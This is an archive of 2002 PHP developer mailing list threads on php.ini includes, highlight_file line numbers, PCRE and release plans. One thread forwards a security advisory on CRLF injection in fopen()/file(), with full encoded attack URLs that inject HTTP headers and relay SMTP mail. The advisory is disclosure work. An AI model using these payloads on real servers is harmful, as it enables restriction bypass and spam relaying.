--Wez/


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] php.ini include directive

[Brian France]

I don't think we are talking about the same thing.

I would like to do something like this:

php.ini
---
[PHP]

include = php-mbstring.ini
---

php-mbstring.ini
---
[mbstring]
mbstring.internal_encoding = EUC-JP
mbstring.http_input = auto
mbstring.http_output = EUC-JP
mbstring.detect_order = auto
mbstring.substitute_character = none;
---

or this would include all .ini files from the include directory

php.ini
---
[PHP]

include = include/
---


Or may be a something like this:

php.ini
---
[PHP]


[INCLUDE]
file = php-mbstring.ini
file = php-mysql.ini
directory = include/
---

Brian


At 1:59 PM -0400 9/11/02, [EMAIL PROTECTED] wrote:
>I see how this could be useful, possibly for custom session handlers or
>including something at the top of every file for free hosted customers or
>something (so that they can't get around the ads or whatever).
>
>Anyway, I don't know.  I give this maybe +.25 for right now, see what
>reactions are.
>
>I could put together a quick patch for this if people thought it would be
>useful.  If you guys like the idea, lemme know, and I'll patch it.
>
>Devon
>
>Original Message:
>-
>From: Brian France [EMAIL PROTECTED]
>Date: Wed, 11 Sep 2002 10:56:06 -0700
>To: [EMAIL PROTECTED]
>Subject: [PHP-DEV] php.ini include directive
>
>
>Has anybody looked into doing a include directive for the php.ini file?
>
>Something like what Apache has?
>
>http://httpd.apache.org/docs/mod/core.html#include
>
>Thoughts?
>
>Cheers,
>
>Brian
>
>--
>PHP Development Mailing List 
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>
>
>mail2web - Check your email from the web at
>http://mail2web.com/ .
>
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, visit: http://www.php.net/unsub.php


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] php.ini include directive

[[EMAIL PROTECTED]]

aha :)  well that clears one thing up.

multiple configuration files would also be fun/interesting/useful for
hosting providers.  I give +.5 ;)  No, but really, what do you guys think?

Devon

Original Message:
-
From: Xavier Spriet [EMAIL PROTECTED]
Date: 11 Sep 2002 14:04:40 -0400
To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: RE: [PHP-DEV] php.ini include directive


I believe what Brian meant was to be able to use multiple configuration
file.
I believe there is already an implementation of what you are referring
to.
auto_append_file and auto_prepend_file if I'm correct.
Using multiple configuration files could also be an interesting thing.

Xavier Spriet
[EMAIL PROTECTED]


On Wed, 2002-09-11 at 13:59, [EMAIL PROTECTED] wrote:
> I see how this could be useful, possibly for custom session handlers or
> including something at the top of every file for free hosted customers or
> something (so that they can't get around the ads or whatever).
> 
> Anyway, I don't know.  I give this maybe +.25 for right now, see what
> reactions are.
> 
> I could put together a quick patch for this if people thought it would be
> useful.  If you guys like the idea, lemme know, and I'll patch it.
> 
> Devon
> 
> Original Message:
> -
> From: Brian France [EMAIL PROTECTED]
> Date: Wed, 11 Sep 2002 10:56:06 -0700
> To: [EMAIL PROTECTED]
> Subject: [PHP-DEV] php.ini include directive
> 
> 
> Has anybody looked into doing a include directive for the php.ini file?
> 
> Something like what Apache has?
> 
> http://httpd.apache.org/docs/mod/core.html#include
> 
> Thoughts?
> 
> Cheers,
> 
> Brian
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 
> mail2web - Check your email from the web at
> http://mail2web.com/ .
> 
> 
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] php.ini include directive

[Xavier Spriet]

I believe what Brian meant was to be able to use multiple configuration
file.
I believe there is already an implementation of what you are referring
to.
auto_append_file and auto_prepend_file if I'm correct.
Using multiple configuration files could also be an interesting thing.

Xavier Spriet
[EMAIL PROTECTED]


On Wed, 2002-09-11 at 13:59, [EMAIL PROTECTED] wrote:
> I see how this could be useful, possibly for custom session handlers or
> including something at the top of every file for free hosted customers or
> something (so that they can't get around the ads or whatever).
> 
> Anyway, I don't know.  I give this maybe +.25 for right now, see what
> reactions are.
> 
> I could put together a quick patch for this if people thought it would be
> useful.  If you guys like the idea, lemme know, and I'll patch it.
> 
> Devon
> 
> Original Message:
> -
> From: Brian France [EMAIL PROTECTED]
> Date: Wed, 11 Sep 2002 10:56:06 -0700
> To: [EMAIL PROTECTED]
> Subject: [PHP-DEV] php.ini include directive
> 
> 
> Has anybody looked into doing a include directive for the php.ini file?
> 
> Something like what Apache has?
> 
> http://httpd.apache.org/docs/mod/core.html#include
> 
> Thoughts?
> 
> Cheers,
> 
> Brian
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 
> mail2web - Check your email from the web at
> http://mail2web.com/ .
> 
> 
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: Fw: #19346 [Opn->Ana]: preg_match() does not work for UTF-8

[Andrei Zmievski]

On Wed, 11 Sep 2002, Wez Furlong wrote:
> It seems that our bundled pcre doesn't handle utf-8 as well as the latest
> version; are there any objections to updating to version 3.9?

No, no objections. Do you want me to do it or..?

-Andrei   http://www.gravitonic.com/
* If it ain't broken, it doesn't have enough features yet. *

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Fw: #19346 [Opn->Ana]: preg_match() does not work for UTF-8

[Wez Furlong]

It seems that our bundled pcre doesn't handle utf-8 as well as the latest
version; are there any objections to updating to version 3.9?

--Wez.

> ID:   19346

> The latest (3.9) PCRE library works fine with UTF-8 subject string if
> library compiled with --enable-utf8.
> I have verified this with test C program.
> I have also tested compiling PHP with PCRE library which I install
> separately on the my system (--with-pcre-regex=/usr/local/) and that
> worked as well with UTF-8.



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] php.ini include directive

[[EMAIL PROTECTED]]

I see how this could be useful, possibly for custom session handlers or
including something at the top of every file for free hosted customers or
something (so that they can't get around the ads or whatever).

Anyway, I don't know.  I give this maybe +.25 for right now, see what
reactions are.

I could put together a quick patch for this if people thought it would be
useful.  If you guys like the idea, lemme know, and I'll patch it.

Devon

Original Message:
-
From: Brian France [EMAIL PROTECTED]
Date: Wed, 11 Sep 2002 10:56:06 -0700
To: [EMAIL PROTECTED]
Subject: [PHP-DEV] php.ini include directive


Has anybody looked into doing a include directive for the php.ini file?

Something like what Apache has?

http://httpd.apache.org/docs/mod/core.html#include

Thoughts?

Cheers,

Brian

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] php.ini include directive

[Brian France]

Has anybody looked into doing a include directive for the php.ini file?

Something like what Apache has?

http://httpd.apache.org/docs/mod/core.html#include

Thoughts?

Cheers,

Brian

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] [Fwd: PHP fopen() CRLF Injection]

[derick]

Hey,

AFAIK Stefan already took care of this.
Stefan?

Derick


On Thu, 12 Sep 2002, Yasuo Ohgaki wrote:

> FYI
> 
> We got close one that Jani mentioned in bug db :)
> 
> It's user's problem, but I'm sure there are many
> scripts do not check user input enough.
> 
> We're probably better to mention security risks more
> in the manual...
> 
> --
> Yasuo Ohgaki
> 
>  Original Message 
> Subject: PHP fopen() CRLF Injection
> Date: Mon, 9 Sep 2002 23:23:01 +0200 (CEST)
> From: Ulf Harnhammar <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> 
> PHP fopen() CRLF Injection
> 
> 
> PROGRAM: PHP
> VENDOR: The PHP Group <[EMAIL PROTECTED]>
> HOMEPAGE: http://www.php.net/
> VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
> IMMUNE VERSIONS: none, but workarounds exist
> SEVERITY: medium
> 
> 
> DESCRIPTION:
> 
> "PHP is a widely-used Open Source general-purpose scripting language
> that is especially suited for Web development and can be embedded
> into HTML. Its syntax draws upon C, Java, and Perl, and is easy
> to learn. PHP runs on many different platforms and can be used
> as a standalone executable or as a module under a variety of Web
> servers. It has excellent support for databases, XML, LDAP, IMAP,
> Java, various Internet protocols, and general data manipulation,
> and is extensible via its powerful API."
> 
> (direct quote from the program's project page at Freshmeat)
> 
> PHP is published under the terms of The PHP License. It is installed
> on millions of web servers.
> 
> 
> SUMMARY:
> 
> fopen(), file() and other functions in PHP have a vulnerability
> that makes it possible to add extra HTTP headers to HTTP
> queries. Attackers may use it to escape certain restrictions,
> like what host to access on a web server. In some cases, this
> vulnerability even opens up for arbitrary net connections, turning
> some PHP scripts into proxies and open mail relays.
> 
> 
> TECHNICAL DETAILS:
> 
> PHP has several functions that take filenames as one of their
> arguments: fopen(), file() and some others. If allow_url_fopen is
> set to On in php.ini, those functions also accept URLs instead of
> regular files, and they connect to the server in question with the
> correct protocol. This functionality is vulnerable to some CRLF
> Injection attacks.
> 
> 
> 1) We start with the simple attacks. Let's say that this PHP snippet
> is saved as snippet.php:
> 
>  
> echo '';
> 
> print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind";));
> 
> echo '';
> 
> ?>
> 
> If an attacker surfs to:
> 
> snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
> site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
> %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
> (should be on one line)
> 
> this HTTP query will be sent to www.site1.st:
> 
> GET /api?sunnan=visby&vind=gotland HTTP/1.0
> Host: www.site2.st
> User-Agent: Ulf/0.0
> Referer: http://www.gnuheter.org/
> Cookie: user=ulf
> 
>   HTTP/1.0
> Host: www.site1.st
> User-Agent: PHP/4.1.2
> 
> As you can see, the real headers from PHP are sent as well, but
> the web server ignores them, as we send two CRLFs before them to
> indicate that the headers are over.
> 
> Using this technique, we can add arbitrary user agents, referers and
> cookies. We can also break out of restrictions and access site2.st
> instead of the site site1.st that snippet.php tries to restrict us
> to, if site1.st and site2.st are virtual hosts on the same machine.
> 
> 
> 2) If the PHP script is even worse, like this one called dotcom.php:
> 
>  
> $fp = fopen($url, 'r');
> fpassthru($fp);
> 
> ?>
> 
> we can connect to arbitrary ports and send (almost) arbitrary
> commands, thus turning the dotcom.php script into a proxy and an
> open mail relay.
> 
> If we surf to:
> 
> dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
> my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
> TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
> PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
> (should be on one line)
> 
> the PHP interpreter will connect to mail.site1.st on port 25,
> and send the following commands:
> 
> GET / HTTP/1.0
> HELO my.own.machine
> MAIL FROM:<[EMAIL PROTECTED]>
> RCPT TO:<[EMAIL PROTECTED]>
> DATA
> i will never say the word PROCRASTINATE again
> .
> QUIT
> 
>   HTTP/1.0
> Host: mail.site1.st:25
> User-Agent: PHP/4.1.2
> 
> Both PHP and the MTA will complain, but the mail is still sent.
> 
> 
> FURTHER READING:
> 
> For more information about this group of problems, read my "CRLF
> Injection" paper, which is available at
> http://online.securityfocus.com/archive/1/271515
> 
> 
> COMMUNICATION WITH VENDOR:
> 
> All contact methods I could find were very public, like mailing
> lists and bug tracking systems. I ended up entering this security
> hole into their bug tracking system (as number 19160) on the 28th
> of August. The PHP developers are working on fixing

[PHP-DEV] CVS Account Request: devon (aka CVS Account Request: wurm)

[[EMAIL PROTECTED]]

Note: tried posting this earlier to [EMAIL PROTECTED] but it was
bounced back.

My message was as follows:

 In this case, I believe it's necessary for me to request a CVS account with
username devon to work on the Dutch translation as well.

If this is granted, would it also be possible to recieve a commit account
for the highlight_file patch that I'm working on, or would it be best for
me to just put that one up for someone else to commit.

Devon

Original Message:
-
From: Fam Tersteeg [EMAIL PROTECTED]
Date: Wed, 11 Sep 2002 19:02:59 +0200
To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] CVS Account Request: wurm


i can be sort about this "yes"
i just have to figure out al the things i need to do before beginning
such as installing cygwin and jade
when i have this ready i will begin

Harm

- Original Message -
From: Devon O'Dell <[EMAIL PROTECTED]>
To: Harm Tersteeg <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Wednesday, September 11, 2002 9:14 AM
Subject: Re: [PHP-DEV] CVS Account Request: wurm


> Sorry for the blank post, accidentally hit ctrl+enter instead of
> ctrl+home in mozilla (don't ask me how i managed that).
>
> Anyway, my question was if you'd like any help with the English->Dutch
> translation.
>
> Devon
>
> Harm Tersteeg wrote:
>
> >Translating the english to the dutch
> >
> >
> >
> >
>
>
>
>



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Dan Hardiker]

> The feature should be implemented in PHP, but not active by default. It
> should be controlled by php.ini and this value should be overwrited by
> the optional parameter in the functions.. how's that?

I think it should be switched on by default, if possible, because it is
only going to help support if the majority of installations (especially
hosters) switch it on. If its not switched on, its not going to help the
people in support channels because the feature wont be activated.

If anyone can give me some good reasons why having this extra
(unintrusive) feature on by default would be a problem to the majority (or
even 30%) of the PHP using population, then I might agree that it should
be defaulted to off.

Personally Im of the mind that, if it doesnt hinder you, it can only help.

> The only reason for even using php.ini for this, is because of phps

Agreed


-- 
Dan Hardiker [[EMAIL PROTECTED]]
ADAM Software & Systems Engineer
First Creative Ltd



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[DJ Anubis]

Le Mercredi 11 Septembre 2002 14:05, Dan Hardiker a écrit :
> [..]
>
> > something I (and others) thought would be cool is line numbering
> > for highlight_file (aka show_source).
>
> [..]
>
> > Devon
>
+1 from me


--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] Sound Extension proposed API

[DJ Anubis]

Le Mardi 10 Septembre 2002 22:57, Tony Leake a écrit :

> Hi,
>
> Following my posts last week I have now written up my proposed API for
> my sound extension. There is too much to post here so I have made it
> available at:
> http://www.webwise-data.co.uk/ecasound.html and would welcome any
> comments.

Hi,

Great, sound media systems come to PHP. Wrapping ecasound is a good idea.
Maybe I'll try to have XMMS module follow it too ;-)
Would be nice to have a unified sound wrapper in PHP, say a metaclass which
could control other systems (xmms, eca, xine...).

DJ Anubis


--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] [Fwd: PHP fopen() CRLF Injection]

[Yasuo Ohgaki]

FYI

We got close one that Jani mentioned in bug db :)

It's user's problem, but I'm sure there are many
scripts do not check user input enough.

We're probably better to mention security risks more
in the manual...

--
Yasuo Ohgaki

 Original Message 
Subject: PHP fopen() CRLF Injection
Date: Mon, 9 Sep 2002 23:23:01 +0200 (CEST)
From: Ulf Harnhammar <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]

PHP fopen() CRLF Injection


PROGRAM: PHP
VENDOR: The PHP Group <[EMAIL PROTECTED]>
HOMEPAGE: http://www.php.net/
VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
IMMUNE VERSIONS: none, but workarounds exist
SEVERITY: medium


DESCRIPTION:

"PHP is a widely-used Open Source general-purpose scripting language
that is especially suited for Web development and can be embedded
into HTML. Its syntax draws upon C, Java, and Perl, and is easy
to learn. PHP runs on many different platforms and can be used
as a standalone executable or as a module under a variety of Web
servers. It has excellent support for databases, XML, LDAP, IMAP,
Java, various Internet protocols, and general data manipulation,
and is extensible via its powerful API."

(direct quote from the program's project page at Freshmeat)

PHP is published under the terms of The PHP License. It is installed
on millions of web servers.


SUMMARY:

fopen(), file() and other functions in PHP have a vulnerability
that makes it possible to add extra HTTP headers to HTTP
queries. Attackers may use it to escape certain restrictions,
like what host to access on a web server. In some cases, this
vulnerability even opens up for arbitrary net connections, turning
some PHP scripts into proxies and open mail relays.


TECHNICAL DETAILS:

PHP has several functions that take filenames as one of their
arguments: fopen(), file() and some others. If allow_url_fopen is
set to On in php.ini, those functions also accept URLs instead of
regular files, and they connect to the server in question with the
correct protocol. This functionality is vulnerable to some CRLF
Injection attacks.


1) We start with the simple attacks. Let's say that this PHP snippet
is saved as snippet.php:

';

print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind";));

echo '';

?>

If an attacker surfs to:

snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
(should be on one line)

this HTTP query will be sent to www.site1.st:

GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf

  HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2

As you can see, the real headers from PHP are sent as well, but
the web server ignores them, as we send two CRLFs before them to
indicate that the headers are over.

Using this technique, we can add arbitrary user agents, referers and
cookies. We can also break out of restrictions and access site2.st
instead of the site site1.st that snippet.php tries to restrict us
to, if site1.st and site2.st are virtual hosts on the same machine.


2) If the PHP script is even worse, like this one called dotcom.php:



we can connect to arbitrary ports and send (almost) arbitrary
commands, thus turning the dotcom.php script into a proxy and an
open mail relay.

If we surf to:

dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(should be on one line)

the PHP interpreter will connect to mail.site1.st on port 25,
and send the following commands:

GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<[EMAIL PROTECTED]>
RCPT TO:<[EMAIL PROTECTED]>
DATA
i will never say the word PROCRASTINATE again
.
QUIT

  HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2

Both PHP and the MTA will complain, but the mail is still sent.


FURTHER READING:

For more information about this group of problems, read my "CRLF
Injection" paper, which is available at
http://online.securityfocus.com/archive/1/271515


COMMUNICATION WITH VENDOR:

All contact methods I could find were very public, like mailing
lists and bug tracking systems. I ended up entering this security
hole into their bug tracking system (as number 19160) on the 28th
of August. The PHP developers are working on fixing this bug, but
nothing have been committed to their CVS yet. I am releasing this
anyway, as it is already public in their bug tracking system and
as Matthew Murphy has published a related hole in PHP recently,
thus making it more likely that some blackhat will find this too.


WORKAROUNDS:

One solution is to make sure that all variables that are used in this
type of URL are clean, by including this command in your PHP scripts:

$var = preg_replace('/\\s+/', '', $var);

Anot

Re: [PHP-DEV] highlight_file modification

[Tom Sommer]

"Devon O'Dell" <[EMAIL PROTECTED]> wrote in
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Maybe, but then we're assuming Apache ;)

.phps does not work on IIS

Maybe it should be an INI option, but the default should be off (for
backward compatability). I totally agree that this would kick ass (sorry) in
help channels where i personally hate asking "So whats line 20?"

The feature should be implemented in PHP, but not active by default.
It should be controlled by php.ini and this value should be overwrited by
the optional parameter in the functions.. how's that?

The only reason for even using php.ini for this, is because of phps
--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Devon O'Dell]

Maybe, but then we're assuming Apache ;)

Devon

Hartmut Holzgraefe wrote:

> Devon O'Dell wrote:
>
>> ... there isn't another way to set it for a phps (unless you create 
>> an ini setting).
>
>
> what about
>
>   application/x-httpd-php-source-with-line-numbers
>
> ? ;)



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Hartmut Holzgraefe]

Devon O'Dell wrote:
> ... there isn't another way 
> to set it for a phps (unless you create an ini setting).

what about

   application/x-httpd-php-source-with-line-numbers

? ;)

-- 
Six Offene Systeme GmbH http://www.six.de/
i.A. Hartmut Holzgraefe
Email: [EMAIL PROTECTED]
Tel.:  +49-711-99091-77


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Dan Hardiker]

>> The other option is just making it work with line numbering
>> regardless. This won't break any scripts, just make them have line
>> numbers instead.
>
> This is not a good idea, many may find line-numbers useless in some
> cases/scripts...
> I agree that it would be an great idea to make it an optional parameter,
> and NOT in the ini file :)
>
> This applies in both highligt_file, show_source and highlight_string

I disagree entirely. In many cases, line-numbers are invalible to
assisting people / even reading source code on multiple pages. If the
attempt of showing the source and syntax highlighting it is to give a
read-only "in editor" feel, how many people work with line numbers
switched off now-a-days (but agreed, this is down to personal preference).

I believe the default should be its current behaviour (for backward
compatability, and to prevent unexpected change)... but I do think there
should be an ini option so that .phps files can have this functionality.

Real world example:

A user comes into one of my help channels and screams "my script aint
working, whats wrong". Instead of getting them flooding the screen with
irrelevant cut's n paste's or leaving myself open to accepting files from
people I dont trust (or even know), .phps files are the quickest, easiest
and most effective way of supporting a person in this sort of scenario. In
#php on irc.dal.net, we see this kind of problem hourly, if not more
regularly than that.

Having line numbers on a .phps file would enable us to support users MUCH
better just by asking them to rename the file from .php to .phps and give
us the URL. We then say "your missing a ; on line 52". Much easier than
trying to navigate them to the "if halfway down the screen".

If you can think of an alternative way to enable / disable the
modifications suggested other than using a php.ini entry...  ;)



Sorry guys, but this sort of functionalty enabled in the .phps would make
my life (and anyone else who works with PHP developers) alot easier - and
benifit many. Personally I cant think of a reason *not* to have the
numbers.


-- 
Dan Hardiker [[EMAIL PROTECTED]]
ADAM Software & Systems Engineer
First Creative Ltd



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Devon O'Dell]

It applies also to .phps files, where enabled.

Devon

Tom Sommer wrote:

>"Devon O'Dell" <[EMAIL PROTECTED]> wrote in
>[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
>
>  
>
>>The other option is just making it work with line numbering regardless.
>>This won't break any scripts, just make them have line numbers instead.
>>
>>
>
>This is not a good idea, many may find line-numbers useless in some
>cases/scripts...
>I agree that it would be an great idea to make it an optional parameter, and
>NOT in the ini file :)
>
>This applies in both highligt_file, show_source and highlight_string
>
>--
>* Tom Sommer
>* http://www.tsn.dk | webmaster(a)tsn.dk
>* Any sufficiently advanced bug is indistinguishable from a feature
>


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Tom Sommer]

"Devon O'Dell" <[EMAIL PROTECTED]> wrote in
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...

> The other option is just making it work with line numbering regardless.
> This won't break any scripts, just make them have line numbers instead.

This is not a good idea, many may find line-numbers useless in some
cases/scripts...
I agree that it would be an great idea to make it an optional parameter, and
NOT in the ini file :)

This applies in both highligt_file, show_source and highlight_string

--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [PHP-CVS] Need info on PHP release dates.

[Edin Kadribasic]

You should probably ask these kind of questions in the php-dev group.
But since we're already here :)

Ananth Kesari wrote:
> Hi,
> 
> As you are aware, I am committing NetWare related source code changes
> / modiications into PHP-CVS source code tree.
> 
> I have a couple of questions here: Is this branch a continuation of
> PHP 4.2.x branch or is this the 4.3.x branch? Or is it that, only one
> branch is used and the different release versions are siphoned off
> that branch? Please let me know.

You are currently commiting into HEAD branch which will eventually
become 4.3.0.
 
> Also, can you tell me when is the next release of 4.2.x branch and
> when is it for 4.3.x? We need to know this for us to plan the
> corresponding release of the latest PHP for NetWare.

It is not certain (probably even unlikely) that there will be another
release from 4.2.x branch. 4.3.0 will be released "when ready" --
probably in couple of months.

Edin

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Devon O'Dell]

Rewriting the function so that it had an optional parameter for line 
numbering (or not line numbering) would also reduce the file size of the 
patch.  I agree this may be a better approach for highlight_file; 
however, .phps files use this same function... there isn't another way 
to set it for a phps (unless you create an ini setting).

The other option is just making it work with line numbering regardless. 
This won't break any scripts, just make them have line numbers instead.

Devon

Edin Kadribasic wrote:

> On Wed, 11 Sep 2002 13:47:56 +0200
> "Devon O'Dell" <[EMAIL PROTECTED]> wrote:
>  
>
>> Hey,
>>
>> I don't know if this has been brought up before (you can smack me, I 
>> know that's the 3rd time I've said this), but something I (and others)
>>
>> thought would be cool is line numbering for highlight_file (aka 
>> show_source).
>>
>> I've made modifications so that this feature is settable from php.ini 
>> (highlight.format, either 0 or 1) and tested my source, looks like it 
>> works fine and the only stuff that didn't work in make test was stuff 
>> where the EXPECT was wrong.
>>   
>
>
> Please let's not add an ini setting for every little thing. It makes
> writing portable scripts very difficult.
>
> I think that it would be preferrable to add an optional parameter to the
> exisiting function, or make a new function.
>
> Edin
>
>  
>




-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[derick]

On Wed, 11 Sep 2002, Edin Kadribasic wrote:

> Please let's not add an ini setting for every little thing. It makes
> writing portable scripts very difficult.
> 
> I think that it would be preferrable to add an optional parameter to the
> exisiting function, or make a new function.

+1, I'd go for an extra option though...

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] highlight_file modification

[BUSTARRET, Jean-Francois]

+1 For me for a new parameter

Jean-François Bustarret
[EMAIL PROTECTED]
 

-Message d'origine-
De : Edin Kadribasic [mailto:[EMAIL PROTECTED]]
Envoyé : mercredi 11 septembre 2002 14:39
À : Devon O'Dell
Cc : [EMAIL PROTECTED]
Objet : Re: [PHP-DEV] highlight_file modification


On Wed, 11 Sep 2002 13:47:56 +0200
"Devon O'Dell" <[EMAIL PROTECTED]> wrote:
> Hey,
> 
> I don't know if this has been brought up before (you can smack me, I 
> know that's the 3rd time I've said this), but something I (and others)
> 
> thought would be cool is line numbering for highlight_file (aka 
> show_source).
> 
> I've made modifications so that this feature is settable from php.ini 
> (highlight.format, either 0 or 1) and tested my source, looks like it 
> works fine and the only stuff that didn't work in make test was stuff 
> where the EXPECT was wrong.

Please let's not add an ini setting for every little thing. It makes
writing portable scripts very difficult.

I think that it would be preferrable to add an optional parameter to the
exisiting function, or make a new function.

Edin

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Marcus Börger]

At 14:35 11.09.2002, Alan Knowles wrote:
>I know it's a bit of a radical suggestion, but would depreciating 
>highlight_string in favour of a pear package using the tokenizer not be a 
>better approach.
>
>is there any reason to keep this in C?

Highliting is a feature from the parser and the php function is only a 
wrapper for the
C functions used to implement that. Makes +1 from me for the modifucation 
and of
cause for NOT removing it.


>Anyway, just throwing a few stones into the water
>
>Regards
>Alan
>
>
>
>Devon O'Dell wrote:
>
>>Hey,
>>
>>I don't know if this has been brought up before (you can smack me, I know 
>>that's the 3rd time I've said this), but something I (and others) thought 
>>would be cool is line numbering for highlight_file (aka show_source).
>>
>>I've made modifications so that this feature is settable from php.ini 
>>(highlight.format, either 0 or 1) and tested my source, looks like it 
>>works fine and the only stuff that didn't work in make test was stuff 
>>where the EXPECT was wrong.
>>
>>I guess I'm waiting for karma, lemme know if I should submit the patches 
>>in another email.
>>
>>Devon
>>
>
>
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, visit: http://www.php.net/unsub.php


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Edin Kadribasic]

On Wed, 11 Sep 2002 13:47:56 +0200
"Devon O'Dell" <[EMAIL PROTECTED]> wrote:
> Hey,
> 
> I don't know if this has been brought up before (you can smack me, I 
> know that's the 3rd time I've said this), but something I (and others)
> 
> thought would be cool is line numbering for highlight_file (aka 
> show_source).
> 
> I've made modifications so that this feature is settable from php.ini 
> (highlight.format, either 0 or 1) and tested my source, looks like it 
> works fine and the only stuff that didn't work in make test was stuff 
> where the EXPECT was wrong.

Please let's not add an ini setting for every little thing. It makes
writing portable scripts very difficult.

I think that it would be preferrable to add an optional parameter to the
exisiting function, or make a new function.

Edin

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

